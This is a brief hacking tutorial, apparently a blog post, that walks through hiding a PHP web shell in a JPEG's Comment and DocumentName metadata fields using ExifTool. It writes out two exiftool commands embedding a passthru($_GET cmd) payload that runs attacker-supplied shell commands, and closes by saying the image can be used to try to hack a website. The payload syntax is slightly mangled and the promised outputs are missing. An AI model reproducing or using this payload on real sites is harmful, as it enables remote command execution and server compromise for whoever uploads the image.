Hello hackers, in this article I’m going to show how to hide a payload in an image file using ExifTool. Let’s see:

Table of Contents

1. Install ExifTool
2. Take an Image
3. Inject Payload

Install ExifTool

At first, we need to install ExifTool. You can download and install it from exiftool.org. If you need help regarding installation, please comment below. I’ll try to help.

Take an Image

Let’s take an image file to inject a payload. I’ve taken an image named flower.jpg. I’ll set the payload in this file.

Before injecting malicious code, let’s take a look at the metadata of the image file. Run this command:

exiftool flower.jpg

Output:

Inject Payload

Open terminal from your image file location and run this command:

exiftool -comment='<?php passthru(\$_GET'cmd'); _halt_compiler(); ?>' flower.jpg

Now check metadata using exiftool flower.jpg command:

We can also set payload in the “Document Name” meta field. To do this, run this command:

exiftool -documentname='<?php passthru(\$_GET'cmd'); _halt_compiler(); ?>' flower.jpg

Check metadata:

We have successfully hidden the malicious code in an image file. Using this image file, we can try to hack a website.

That’s it. Thanks for reading. 🙂